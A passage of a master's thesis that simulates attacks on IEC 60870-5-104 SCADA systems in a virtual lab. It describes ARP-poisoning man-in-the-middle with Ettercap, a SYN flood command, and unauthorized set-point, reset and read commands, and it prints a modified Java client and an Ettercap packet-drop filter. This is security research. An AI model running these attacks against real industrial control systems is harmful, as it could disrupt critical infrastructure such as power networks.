selected “Sniff->Unified sniffing” and then the eth0 local interfacewhich connects to VMNet5 

adapter. The software created a new menu with all the possible sniffing features available. The 

main concept for a Man in The Middle Attack is to scan for all the subnet clients, select the 

targets and ARP poison them. The Figure below displays the result of the command 

“Hosts->Scan for hosts” and then “Hosts->Hosts List”. 

 

Figure 22: Ettercap's list of hosts after scanning the local subnet 

 

From this point, the tool offers the option to select 1 or 2 targets to ARP poison by choosing 

from the menu “MiTM->ARP Poisoning”. 

I created a file named “isolation.if” and placed it into the folder “/usr/share/ettercap”. To isolate 

the IEC Server’s traffic, I set a double if statement that checks the IP of the Server and the 
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IEC port in use. In a real-world environment, a reconnaissance will have to take place first. 

For debugging reasons, I printed a message to ensure that the if statement was accessed by 

Ettercap.  

 

Figure 23: Custom Ettercap filter for IEC Server traffic isolation 

 

As this is the source code for the filter, I compiled it using the etterfilter command “etterfilter 

isolation.if -o isolation.filter”, where -o means output and “isolation.filter” is the name of the 

compiled file which is now a ready to use filter. 

 

3.2.2.3 Ubuntu Virtual Machine 

This VM is also part of the attacker side because it is used to launch a Man in The Middle 

attack using Pete Maynard’s version of Ettercap with a specific plugin, as described in [18]. This 

version of Ettercap is available online at Github (https://github.com/PMaynard/ettercap-104-

mitm/blob/master/plug-ins/104_snort_alert/104_snort_alert.c) but as source code and not as a 

ready-to-deploy binary. I used Ubuntu instead of Kali Linux because there was a digital 
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certificate issue while trying to build the source code of Ettercap and I decided not to change 

any configuration on the Kali platform but instead, create a new, clean and fully updated 

Virtual Machine and use Ettercap from there. 

I used the “git clone” command to download Ettercap from Github [19] to the Ubuntu’s 

Desktop folder. I used the internal instructions of the “INSTALL” file to prepare and build 

the source code using the bundled dependencies and not the ones provided by the system. 

This was achieved by issuing the command “cmake -DSYSTEM_LIBS=Off ../”. Within the 

“plug-ins/ 104_snort_alert” folder, there exists the file “104_snort_alert.c” which is the plugin of 

the attack. The scope of the plugin Pete Maynard developed is to trigger certain Snort signatures, 

which are not part of the current project, by modifying the traversing data in an IEC 60870-

5-104 communication after the MiTM attack takes place. The code is written in C language 

and the figure below reveals a part of it at the section of TCP data modification. 

 

Figure 24: Part of source code of Ettercap custom plugin for IEC 60870-5-104 data modification 

 

When Ettercap is performing a MiTM attack, as described previously and the plugin is active, 

the traversing payload will be altered in purpose with invalid data. The plugin is loaded from 

Ettercap menu after following all the steps for a successful ARP poisoning and selecting 

“Plugins->Manage the plugins” and then double click on “alert_snort_104”. Upon successful 

activation, an asterisk will appear next to the plugin’s name. 
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Figure 25: Activated plugin for MiTM on the fly data modification 
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4. Attacks and Results 
 

4.1 IEC 60870-5-104 attacks 

In the following tests, we will perform various kinds of attacks against the SCADA targets 

which are using the IEC 60870-5-104 protocol (from now on 104). The main purpose is to 

show few vulnerabilities of the protocol and to raise the concern around its lack of security.  

 

4.1.1 Typical communication 

Before beginning any attacks, it is necessary to setup the typical required SCADA network 

between a substation and a IEC 104 client, establish their communication and make sure that 

everything is working as if there is no attacker. 

The substation (from now on Server) will be simulated in its VM with static IP 192.168.5.3 by 

starting the IEC 60870-5-104 Server on the default port 2404. In order to have continuous 

flow of data traversing through their internal network, the simulation mode of the Server will 

be enabled by adding an IEC field of type M_SP_NA_1 and adjust simulation properties to 

change its value every 5 seconds as shown in Figure 26. 

 

 

Figure 26: IEC 104 Server simulation options 
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Note: These values are used for test purposes and do not necessary reflect to actual SCADA 

environments; they are used in order to assure the communication and automation of the 

attacked system. 

The IEC client side (from now on Client) will be simulated in its VM with static IP 192.168.5.4 

by starting the QTester104 software and use the appropriate settings to connect to the Server. 

Once connected, the lower left pane of the software displays the auto-scrolling view of logged 

data with the Server that it communicates (Figure 27). 

 

 

Figure 27: Auto-scrolled communication log of IEC 104 Client with the Server 

 

In order to inspect the 104 protocol further, Wireshark is used to capture packets from the 

local interface as shown in Figure 28. 
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Figure 28: Wireshark captured traffic of IEC 104 protocol in local interface VMnet5 

 

4.1.2 Message flooding 

This simulation produces a flood of M_SP_NA_1 IEC 104 messages from the Server to the 

Client, an attack which is based on Spontaneous Messages Storm malicious communication 

described by Y. Yang in [20]. The Server is configured to send the message at every second, 

as shown in Figure 29 below. 

 

 

Figure 29: IEC 104 Server simulation configuration for sending 1 M_SP_NA_1 message to the Client every 1 second 
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I used the previous technique to ensure that packets are traversing the local network resulting 

in large amounts of false spontaneous messages sent from a server to overwhelm the control 

server or control room operators [20].  

 

4.1.3 SYN attack to achieve a Denial of Service 

In the following experiment, the famous tool hping3 will be used to flood the local network 

with SYN packets and specifically the IEC Server machine, a very usual DoS attack. In order 

to be sure that the target has all necessary resources, I temporarily increased the RAM size to 

1536MB and added a 2nd Virtual Core to the CPU. I wanted to assure that the attack is 

successful due to the lack of network bandwidth and not of memory or CPU power. The 

command used by the attacker (Kali Linux) was: hping3 --flood -S 192.168.5.3 where --flood 

means send packets as fast as possible, -S to send SYN packets to the IP of the target. In its 

normal simulation behavior, the system uses almost 0% CPU, around 573MB or RAM and 

almost 0% network traffic of the 1Gbps bandwidth. After running the SYN flood attack for 

5 minutes, the system resources changed as in Figure 6. 

Figure 30: System resources before the SYN attack Figure 31: System resources after the SYN attack 

 

With an average increase of around 20% in CPU, and an average increase of 2.5% in the 

network bandwidth, the system continued to simulate with its Client as normal. It is important 

to mention that the Client was receiving simulated messages from the IEC Server as expected 

in paragraph 4.1.1. This was not a successful DoS attack but there is strong indication that one 

single attacker has managed to increase the workload of the system with a SYN flood. We 

must also bear in mind that the communication channel between the Client and the Server has 
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much less bandwidth than 1 Gbps and the Server or the RTU in real environment has much 

fewer resources against our simulated system. Therefore, a SYN flood attack would have had 

much more effect in a real testbed with field devices. Last but not least, if more attackers were 

active against the Server, like if a Distributed DoS was happening, the Server would probably 

fail to offer its service; this is very difficult to achieve in Virtualized environments like this one.  

 

4.1.4 Control command or Remote Adjustment Command from Unauthorized client 

An unauthorized client could send a Control or Adjustment command to a Server, in this 

particular experiment using the C_SE_NA_1 Set Point command, Normalized Value. To create an 

unauthorized Client, I modified the static IP of the authorized Client to 192.168.5.5, an IP 

which is not supposed to be part of the recognized network. QTester104 was used with the 

following configuration. The 104 Server had previously the value 10 and the command from 

the unauthorized client set it to 600. 

 

 

Figure 32: Unauthorized client sending a Set Point command with QTester104 

 

The QTester104 confirms the acceptance of the value from the 104 Server (it calls it slave). 

Below there is a screenshot of the scrolling log file. 

 

 

Figure 33: QTester104 confirms the reception of the new Set Point Command value from the 104 Server 
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The 104 Server has changed its value for the device #19 accordingly as clearly shown in the 

following figure. 

 

 

Figure 34: 104 Server’s new value after the Set Point command of the unauthorized client 

 

As stated in [20], this is an illegal action and would trigger the signature-based Snort rule 

with sid: 6666606. 

 

4.1.5 Single command from unauthorized client to a Server 

I followed the exact same configuration as the previous experiment but this time using the 

Single command C_SC_NA_1 from an unauthorized client. To create an unauthorized Client, 

I modified the static IP of the authorized Client to 192.168.5.5, an IP which is not supposed 

to be part of the recognized network. The Qtester104 was used again to send the command 

which was once more accepted by the 104 Server and changed its initial value from 0 to 1. 

 

 

Figure 35: Unauthorized client sending a Single command with QTester104 

 

This is an illegal action which also belongs to the aforementioned signature-based Snort rule 

with sid: 6666606 [20]. 
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4.1.6 Unauthorized Read Command to the Server 

In this experiment, the attacker sends a Read command C_RD_NA_1 to a Server. The client 

(attacker) is not authorized to the SCADA system, therefore he should not be able to receive 

any information from the Server about a field device, as described at page 3 of Yang et al in 

[20]. The Read command (102) is not supported by QTester104 so I had to implement it by 

using the modified OpenMUC j60870 console client. After issuing the Read command the 

following response was received from the Server (Figure 36). 

 

 

Figure 36: Unauthorized client issuing a Read command via OpenMUC client 

 

4.1.7 Unauthorized Reset Process Command to the Server 

The attacker is able to send the Reset Process command C_RP_NA_1 to an IEC Server 104. 

This command is implemented through the OpenMUC j60870 console client after certain 

modification. After issuing the command by pressing the corresponding key, in this case “r”, 

the following message was received (at the end of Figure 37) and the connection stream from 

the Server was closed. 
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Figure 37: Unauthorized client issuing a Reset Process command via OpenMUC client 

 

4.1.8 Counter Interrogation Command to the Server 

In this experiment, the attacker sends a Counter Interrogation command C_CI_NA_1 to a Server. 

The Counter Interrogation command (101) is not supported by QTester104 so I had to implement 

it by using the modified OpenMUC j60870 console client. After issuing the command the 

following response was received from the Server to the attacker (Figure 38). 

 

 

Figure 38: Unauthorized client issuing a Counter Interrogation command via OpenMUC client 
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4.1.9 Man in the middle attacks 

The so-called Man in The Middle is α very well-known technique used in a variety of attacks; 

especially wherever the ARP protocol is used. The Media Access Control a.k.a. MAC addresses 

are implemented in the link layer while the IP protocol is implemented in the network layer. 

The Address Resolution Protocol is a protocol used to resolve the binding between these two 

layers. Each device/client is storing a table of pairs MAC/IP into its memory. 

The lack of security in this mechanism is that there is no authentication and every client stores 

whatever is broadcasted from anyone in the same network (within a switch). The ARP poisoning 

technique is implemented when a malicious user sends fake ARP messages to specific or all 

the targets, impersonating himself as a different user therefore putting himself in the middle 

of the communication i.e. a router and a client. At each test, I changed the MAC address of 

the attacker to a random one using the command “macchanger -r eth0”. It is also possible to use 

macchanger to print a list of hardware vendors and set a MAC accordingly to trick the victim in 

case of forensics. 

Ettercap is used during the forth-coming experiments in order to perform a few Man in The 

Middle attacks (from now on MiTM) to the simulated SCADA system. It is a powerful open 

source tool that makes use of filters to specify rules for traffic sniffing and spoofing and also 

various plugins written in C language to perform certain actions during live sniffing. The 

greatest power of these extras of Ettercap is that a user can write his own filters or plugins. 

 

4.1.9.1 IEC Server 104 isolation 

In this experiment, I used the custom filter “isolation.filter” to isolate the IEC Server’s traffic 

from everyone in its Virtual LAN. In order to do this, I used ARP poisoning to perform the 

MiTM attack and then applied the custom filter. Before initiating the attack, I used the tool 

macchanger to modify my MAC address and issue a random one with option -r, as shown in 

Figure 39. 
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Figure 39: macchanger tool giving a new random MAC address to the attacker on interface eth0 

 

I launched Ettercap for interface eth0, scanned for hosts in the local subnet and added as 

targets the IEC Server’s IP address and the Client’s IP address. I checked that the ARP 

poisoning attack was successful by entering arp -a in the Server’s command line (Figure 40). 

 

 

Figure 40: Server's ARP table showing the association of Client's IP with attacker's MAC 

 

Afterwards, I loaded the custom filter “isolation.filter” to isolate the Server’s IEC traffic by 

dropping its packets. The log panel of Ettercap shown in Figure 41 displays the custom 

message.  

 

Figure 41: Ettercap log panel showing the packet drop from IEC Server 
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The attack resulted in the disconnection of the 104 Server which is also verified in the 

QTester104 log file in Figure 42. 

 

 

Figure 42: 104 Server disconnected after MiTM attack on filtered port 2404 

 

After stopping the attack, the simulated environment went back to its normal communication. 

This can also be considered partially as a DoS attack since one field device is unable to provide 

its service to the main station. 

 

4.1.9.2 IEC 104 Data modification on the fly 

This experiment aims to intercept the traversing data of normal communication between the 

104 Server and the Client and alter it on the fly with almost no delay. This is utilized with a 

custom plugin for Ettercap, written by Pete Maynard [19]  which is the one I also used. After 

performing the MiTM attack, the alert_snort_104 plugin is activated as shown in Figure 43. The 

asterisk next to its name shows that the plugin is active and running. 
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Figure 43: Customized Ettercap plugin for data modification 

 

The purpose of the plugin is to alter various fields of the ASDU of the IEC 60870-5-104 

protocol in a random order with values that are unacceptable, triggering rules described at Y. 

Yang et al in [20]. The log window of Ettercap is showing the corresponding messages of each 

data modification that occurred (Figure 44). 

 

 

Figure 44: Ettercap's message log of various data modifications in ASDU 

 

The QTester104 is showing all the invalid received data into the scrolling log panel as in 

Figure 45. 
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Figure 45: QTester 104’s scrolling log panel showing protocol's replies during the MiTM attack 

 

 

4.2 Results 

All attack vectors are considered successful. I was able to flood the network with packets, 

connect as an unrecognized client and issue commands, increase the workload of the system 

and finally perform the most dangerous Man in The Middle attacks in which a device was 

isolated or even worse, was accepting maliciously modified data. If the attacker has an in-depth 

knowledge of the protocol, he could further parameterize the plugin in order to perform an 

attack similar to what Stuxnet did in Natanz back in 2010, by showing the supervisors accepted 

data while commanding the field devices with invalid values causing damage. 
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5. Discussion 
 

In this master thesis, I have been assigned to create a simulated environment to demonstrate 

various cyber-attack vectors against SCADA systems. To accomplish this, I had to study the 

SCADA protocols and understand the entire framework logic hidden behind. It was a difficult 

task because the protocols were plenty and during the limited available time I had to choose 

one with many possible vulnerabilities. 

 

In Europe, the most famous protocols used are DNP3 and IEC 60870 [7], therefore my main 

focus was to simulate real IEC 60870 traffic using open source software. The SCADA system 

I created is using the IEC Server 104 software that plays the role of the field device, offering 

data whenever requested or with time intervals via automated simulation. These values were 

received and displayed by a client software named QTester104. There are many software 

simulators online but these two collaborated perfectly even though they do not implement the 

IEC 60870 protocol completely; this is the main reason I chose them to create my SCADA 

framework. The second reason was that they both have GUIs, making them easier to configure 

instead of resorting to character-mode environments with the need for extra code 

implementation like the OpenMUC j60870. In fact, during my QTester104 configuration, I 

had the chance and honor to talk to Mr. Ricardo Olsen, the author of the software through 

the Linkedin social network. He helped me understand various aspects of the IEC 60870 

protocol, part of its logic and configuration of the simulator. 

 

The basis of the attacks is divided into two parts. At first, to cover various attack vectors of 

our modern cyber world such as DoS, unauthorized users, Man in The Middle and at second 

to reproduce the attacks that trigger some of the Snort [21] rules that are mentioned in the 

paper of Y. Yang et al [20] about Intrusion Detection System for IEC 60870 SCADA 

networks. To do this, I used the well-known Kali Linux operating system with an enormous 

variety of penetration testing tools and an Ubuntu OS, both in Virtual Machines. I have also 

developed source code in Java for the tool OpenMUC j60870 in order to implement further 

commands, not supported by the QTester104 client, to perform some attacks. The 
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aforementioned software includes all the commands that IEC 60870-5-104 protocol affords 

but needs expansion. Another tool used for the attacks was a custom plugin written by Pete 

Maynard, which I also had the pleasure and honor to talk to via emails. He greatly supported 

and guided me throughout the technical issues I faced. 

 

I consider my personal benefit from this thesis excellent and the knowledge I have acquired is 

definitely precious and spherical. I have even dig into the political perspective of SCADA 

attacking by reading the book of David Sanger ‘Confront and Conceal’ where the Stuxnet case 

is an entire chapter. Combined with the technical knowledge, I have a strong feeling that I 

have met a new IT sector that inspires me and urges me to protect it. 

 

If I was to restart the entire thesis, I would have spent more time taking advantage of the 

Metasploit [22] framework’s SCADA modules and further develop Pete Maynard’s plugin. In 

general, I am very pleased with the variety of attacks and their results and I strongly believe 

that I have proven the high level of knowledge I received from my university and that this 

thesis fully corresponds to it. 
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6. Conclusion 
 

Nowadays, the industry sector is making extensive use of technology and various systems are 

going online day by day. Their supervisors are searching new ways to monitor and command 

their substations and SCADA systems are going online directly or indirectly day by day. What 

is most significant is that Critical Infrastructures such as power stations, water supplies, oil 

refineries are also online, a fact that has recently draw the attention to hackers and sometimes 

nation state agencies. Cyber attacks in these critical systems can cause severe damage if not 

disasters. It is therefore important to raise awareness around the SCADA systems’ security 

and to demonstrate their vulnerabilities. 

 

In this thesis, a simulated environment of a SCADA network is implemented with a client and 

server side. This system, exchanges information in real time between the two peers using the 

IEC 60870-5-104 protocol over TCP. The attacker side consists of two virtual machines that 

play the role of a malicious user who is already part of the local SCADA network. In this 

thesis, no external penetration techniques are presented. The main focus and goal of this 

project was to perform experiments of cyber attacks against the IEC 60870-5-104 protocol. 

 

The conclusion of all the experiments is that the protocol is vulnerable to a wide range of 

attacks because it lacks of authentication in its peers and there is no data encryption on the 

exchanged information between them. During the tests, an unauthorized client was connected 

successfully to the SCADA network, received data measurements about a field device, isolated 

a field device from its network, issued invalid commands to it and performed data modification 

on the fly, an extremely dangerous attack. 
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7. Future Work 
 

There is always extra space for improvement and further investigation. This thesis was only a 

big step into the world of SCADA and I have already planned plenty of expansions to this 

interesting work. 

 

One of my future work to be done could be to develop in detail the plugin made by Pete 

Maynard [19] so that it examines specific measurements and change them accordingly in a 

static or dynamic way based on statistics or specific purpose. Additionally, further plugins 

could be developed for DNP3 and Modbus since they lack of security mechanisms. 

 

The Metasploit project [23], used in Kali Linux, is the most used penetration testing platform 

and it has plenty of SCADA modules. I would definitely examine their documentation and 

study their usages so that in the future I can use more attack vectors and acquire a deeper 

understanding of the entire range of flaws SCADA protocols have. This requires plenty of 

work and time and it was impossible to implement it at a decent level for this thesis. 

 

Going a step further, it would be quite interesting to check the security issues of the IEC 

62351 and discover techniques that highlight any security flaws. The specific standard offers 

encryption and authentication mechanisms and it would be very interesting to explore new 

ways to bypass them. 
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9. Appendices 
 

• Appendix A – Virtual Machines’ specifications and settings 

• Appendix B – Tools 

• Appendix C – Code 
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Appendix A – Virtual Machines’ specifications and settings 
 

This appendix is used to describe the Virtual Machines’ specifications and simulation 

software that was used during the tests 
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SCADA Targets’ specifications 

 

Role: IEC 60870-5-104 Server 

Operating System Windows 7 64-bit 

CPU 1 single core virtualized 

Memory 1 GB 

Network VMnet5 host-only adapter 

MAC Address 00:0C:29:86:01:4D 

IP Address 192.168.5.3 (static) 

Simulation Software IEC 60870-5-104 Server v1.03-35 

 

 

Role: IEC 60870-5-104 Client 

Operating System Windows 7 64-bit 

CPU 1 single core virtualized 

Memory 1 GB 

Network VMnet5 host-only adapter 

MAC Address 00:0C:29:2E:AF:09 

IP Address 192.168.5.4 (static) 

Simulation Software QTester 104 v1.23 
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SCADA attacker’s specifications 

 

Role: Attacker/Intruder 

Operating System Kali Linux 2017.1 64-bit fully updated 

CPU 1 dual core virtualized CPU 

Memory 2 GB 

Network Vmnet5 host-only adapter 

IP Address 192.168.5.128 (static) 

MAC Address Varies for undercover reasons 

Attack software Further developed in the thesis 

 

 

Role: Attacker/Intruder 

Operating System Ubuntu 16.04 LTS 64-bit fully updated 

CPU 1 dual core virtualized CPU 

Memory 1 GB 

Network Vmnet5 host-only adapter 

IP Address 192.168.5.133 (static) 

MAC Address Varies for undercover reasons 

Attack software Ettercap v 0.8.0 with customized plugin 
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Appendix B – Tools 
 

This appendix is used to describe the software and tools that were used in the simulation of 

cyber-attacks against SCADA system 
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1. Operating systems and Virtualization software 
 

1.1 Microsoft Windows 7 

Windows 7 is a personal computer operating system developed by Microsoft, part of the 

Windows NT family systems and it was released in 2009. 

 

1.2 Kali Linux 2017.1 

Kali Linux is a free Debian-based Linux distribution aimed at advanced Penetration Testing 

and Security Auditing. Kali contains several hundred tools which are geared towards various 

information security tasks, such as Penetration Testing, Security research, Computer Forensics 

and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive 

Security, a leading information security training company. It was released in 2017 [20]. 

 

1.3 Ubuntu 16.04 LTS 

The Ubuntu operating system, at its Long Term Support version, is a free and open source 

Linux Distribution. There are releases for desktop as well as for server and cloud architectures 

and it was released in 2016. 

 

1.4 VMware Workstation Pro 12.5 

VMware Workstation Pro allows running multiple operating systems as Virtual Machines on 

a single Windows or Linux PC. It was released in 2015 [2]. 
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2. Attack tools 
 

2.1 Hping3 

hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is 

inspired to the ping(8) unix command, but hping isn’t only able to send ICMP echo requests. 

It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to 

send files between a covered channel, and many other features. While hping was mainly used 

as a security tool in the past, it can be used in many ways by people that don’t care about 

security to test networks and hosts [3]. 

 

2.2 Ettercap 

Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live 

connections, content filtering on the fly and many other interesting tricks. It supports active 

and passive dissection of many protocols and includes many features for network and host 

analysis [4]. 

 

2.3 Macchanger 

GNU MAC Changer is a utility that makes the manipulation of MAC addresses of network 

interfaces easier [5]. 

 

2.4 alert_snort_104 Ettercap plugin 

The alert_snort_104 plugin is a custom-made plugin, written by Pete Maynard in C language 

and it is distributed under GNU license [6]. 

 

2.5 Wireshark 

Wireshark is a network packet analyzer. A network packet analyzer will try to capture network 

packets and tries to display that packet data as detailed as possible [7]. 
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3. SCADA software 
 

3.1 IEC Server 

This IEC Server in an Software to simulate Server side of Systems using an telecontrol message 

Protocol specified in the IEC 60870-5: This Protocol is often used in SCADA Systems for 

Information transfer between the RTU Device and SCADA center [8]. 

 

3.2 QTester 104 

This open source tool, developed by Ricardo Olsen, allows to play the role of the client of 

protocol IEC60870-5-104, that is, it obtains data from a server [9]. Mr Olsen is working for a 

power transmission utility in the south of Brazil and also owns DSC Systems, a company that 

provides SCADA and historian services in the cloud. 

 

3.3 OpenMUC j60870 

j60870 is a library implementing the IEC 60870-5-104 communication standard. The library 

can be used to program clients as well as servers. j60870 is licensed under the GPLv3 [10]. 
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Appendix C – Code 
 

This appendix includes modified code of OpenMUC j60870 and Ettercap filter that were 

used to conduct the cyber attacks 
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1. OpenMUC j60870 
 

The code below is from file ConsoleClient.java stored in path 

j60870\src\main\java\org\openmuc\j60870\app. 

 

/* 

 * Copyright 2014-17 Fraunhofer ISE 

 * 

 * This file is part of j60870. 

 * For more information visit http://www.openmuc.org 

 * 

 * j60870 is free software: you can redistribute it and/or modify 

 * it under the terms of the GNU General Public License as published by 

 * the Free Software Foundation, either version 3 of the License, or 

 * (at your option) any later version. 

 * 

 * j60870 is distributed in the hope that it will be useful, 

 * but WITHOUT ANY WARRANTY; without even the implied warranty of 

 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 

 * GNU General Public License for more details. 

 * 

 * You should have received a copy of the GNU General Public License 

 * along with j60870.  If not, see <http://www.gnu.org/licenses/>. 

 * 

 */ 

package org.openmuc.j60870.app; 

 

import java.io.IOException; 

import java.net.InetAddress; 

import java.net.UnknownHostException; 

import java.util.ArrayList; 

import java.util.List; 

import java.util.concurrent.TimeoutException; 

 

import org.openmuc.j60870.ASdu; 

import org.openmuc.j60870.CauseOfTransmission; 

import org.openmuc.j60870.ClientConnectionBuilder; 

import org.openmuc.j60870.Connection; 

import org.openmuc.j60870.ConnectionEventListener; 

import org.openmuc.j60870.IeQualifierOfInterrogation; 

import org.openmuc.j60870.IeQualifierOfCounterInterrogation; 

import org.openmuc.j60870.CauseOfTransmission; 
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import org.openmuc.j60870.IeQualifierOfResetProcessCommand; 

import org.openmuc.j60870.IeTime56; 

import org.openmuc.j60870.internal.cli.Action; 

import org.openmuc.j60870.internal.cli.ActionException; 

import org.openmuc.j60870.internal.cli.ActionListener; 

import org.openmuc.j60870.internal.cli.ActionProcessor; 

import org.openmuc.j60870.internal.cli.CliParameter; 

import org.openmuc.j60870.internal.cli.CliParameterBuilder; 

import org.openmuc.j60870.internal.cli.CliParseException; 

import org.openmuc.j60870.internal.cli.CliParser; 

import org.openmuc.j60870.internal.cli.IntCliParameter; 

import org.openmuc.j60870.internal.cli.StringCliParameter; 

 

public final class ConsoleClient { 

 

    private static final String INTERROGATION_ACTION_KEY = "i"; 

    private static final String CLOCK_SYNC_ACTION_KEY = "c"; 

 private static final String READ_KEY = "d"; 

    private static final String RESET_KEY = "r"; 

    private static final String COUNTER_KEY = "k"; 

 

    private static final StringCliParameter hostParam = new CliParameterBuilder("-h") 

            .setDescription("The IP/domain address of the server you want to access.") 

            .setMandatory() 

            .buildStringParameter("host"); 

    private static final IntCliParameter portParam = new CliParameterBuilder("-p") 

            .setDescription("The port to connect to.") 

            .buildIntParameter("port", 2404); 

    private static final IntCliParameter commonAddrParam = new CliParameterBuilder("-ca") 

            .setDescription("The address of the target station or the broad cast address.") 

            .buildIntParameter("common_address", 1); 

    private static final IntCliParameter iob = new CliParameterBuilder("-iob") 

            .setDescription("The Information Object Address of the target station.") 

            .buildIntParameter("iob", 7); 

 

    private static volatile Connection connection; 

    private static final ActionProcessor actionProcessor = new ActionProcessor(new 

ActionExecutor()); 

 

    private static class ClientEventListener implements ConnectionEventListener { 

 

        @Override 

        public void newASdu(ASdu aSdu) { 

            System.out.println("\nReceived ASDU:\n" + aSdu); 

 

        } 
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        @Override 

        public void connectionClosed(IOException e) { 

            System.out.print("Received connection closed signal. Reason: "); 

            if (!e.getMessage().isEmpty()) { 

                System.out.println(e.getMessage()); 

            } 

            else { 

                System.out.println("unknown"); 

            } 

            actionProcessor.close(); 

        } 

 

    } 

 

    private static class ActionExecutor implements ActionListener { 

 

        @Override 

        public void actionCalled(String actionKey) throws ActionException { 

            try { 

                switch (actionKey) { 

                case INTERROGATION_ACTION_KEY: 

                    System.out.println("** Sending general interrogation command."); 

                    connection.interrogation(commonAddrParam.getValue(), 

CauseOfTransmission.ACTIVATION, 

                            new IeQualifierOfInterrogation(20)); 

                    Thread.sleep(2000); 

                    break; 

                case CLOCK_SYNC_ACTION_KEY: 

                    System.out.println("** Sending synchronize clocks command."); 

                    connection.synchronizeClocks(commonAddrParam.getValue(), new 

IeTime56(System.currentTimeMillis())); 

                    break; 

                case READ_KEY: 

                    System.out.println("** Sending the C_RD_NA_1 command."); 

                    connection.readCommand(commonAddrParam.getValue(), iob.getValue()); 

                    Thread.sleep(2000); 

                    break; 

                case RESET_KEY: 

                    System.out.println("** Sending the C_RP_NA_1 command."); 

                    connection.resetProcessCommand(commonAddrParam.getValue(), new 

IeQualifierOfResetProcessCommand(3)); 

                    Thread.sleep(2000); 

                    break; 

                case COUNTER_KEY: 

                    System.out.println("** Sending the C_CI_NA_1 command."); 
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                    connection.counterInterrogation(commonAddrParam.getValue(), 

CauseOfTransmission.ACTIVATION, new IeQualifierOfCounterInterrogation(1,1)); 

                    Thread.sleep(2000); 

                    break; 

                default: 

                    break; 

                } 

            } catch (Exception e) { 

                throw new ActionException(e); 

            } 

        } 

 

        @Override 

        public void quit() { 

            System.out.println("** Closing connection."); 

            connection.close(); 

            return; 

        } 

    } 

 

    public static void main(String[] args) { 

 

        List<CliParameter> cliParameters = new ArrayList<>(); 

        cliParameters.add(hostParam); 

        cliParameters.add(portParam); 

        cliParameters.add(commonAddrParam); 

        cliParameters.add(iob); 

 

        CliParser cliParser = new CliParser("j60870-console-client", 

                "A client/master application to access IEC 60870-5-104 servers/slaves."); 

        cliParser.addParameters(cliParameters); 

 

        try { 

            cliParser.parseArguments(args); 

        } catch (CliParseException e1) { 

            System.err.println("Error parsing command line parameters: " + e1.getMessage()); 

            System.out.println(cliParser.getUsageString()); 

            System.exit(1); 

        } 

 

        InetAddress address; 

        try { 

            address = InetAddress.getByName(hostParam.getValue()); 

        } catch (UnknownHostException e) { 

            System.out.println("Unknown host: " + hostParam.getValue()); 

            return; 
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        } 

 

        ClientConnectionBuilder clientConnectionBuilder = new ClientConnectionBuilder(address) 

                .setPort(portParam.getValue()); 

 

        try { 

            connection = clientConnectionBuilder.connect(); 

        } catch (IOException e) { 

            System.out.println("Unable to connect to remote host: " + hostParam.getValue() + 

"."); 

            return; 

        } 

 

        Runtime.getRuntime().addShutdownHook(new Thread() { 

            @Override 

            public void run() { 

                connection.close(); 

            } 

        }); 

 

        try { 

            connection.startDataTransfer(new ClientEventListener(), 5000); 

        } catch (TimeoutException e2) { 

            System.out.println("Starting data transfer timed out. Closing connection."); 

            connection.close(); 

            return; 

        } catch (IOException e) { 

            System.out.println("Connection closed for the following reason: " + 

e.getMessage()); 

            return; 

        } 

        System.out.println("successfully connected"); 

 

        actionProcessor.addAction(new Action(INTERROGATION_ACTION_KEY, "interrogation 

C_IC_NA_1")); 

        actionProcessor.addAction(new Action(CLOCK_SYNC_ACTION_KEY, "synchronize clocks 

C_CS_NA_1")); 

        actionProcessor.addAction(new Action(READ_KEY, "read command C_RD_NA_1")); 

        actionProcessor.addAction(new Action(RESET_KEY, "reset process command C_RP_NA_1")); 

        actionProcessor.addAction(new Action(COUNTER_KEY, "counter interrogation command 

C_CI_NA_1")); 

        actionProcessor.start(); 

 

    } 

 

} 
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2. Ettercap filter isolation.if 
 

############################################################################ 

#                                                                          # 

#  ettercap -- isolation.if filter source file                             # 

#  IEC Server 104 isolation                                                # 

#                                                                          # 

#  Student: Miltiadis Parcharidis                                          # 

#  Supervisor: Prof. Sokratis Katsikas                                     # 

#  Simulation of Cyber Attacks against SCADA systems                       # 

#  MSc in Communications and Cyber Security                                # 

#  International Hellenic University                                       # 

#                                                                          # 

#                                                                          # 

############################################################################ 

 

## 

# 

#  This filter will isolate the IEC 104 Server from the Client. 

#  It does it by simply filtering the corresponding traffic 

#  by IP and source port and then drops the packet 

#   

## 

 

if ( tcp.src == 2404 && ip.src == '192.168.5.3' ) { 

   drop(); 

   msg("Dropping IEC 104 Server packet from source port 2404 and IP 192.168.5.3.\n"); 

} 
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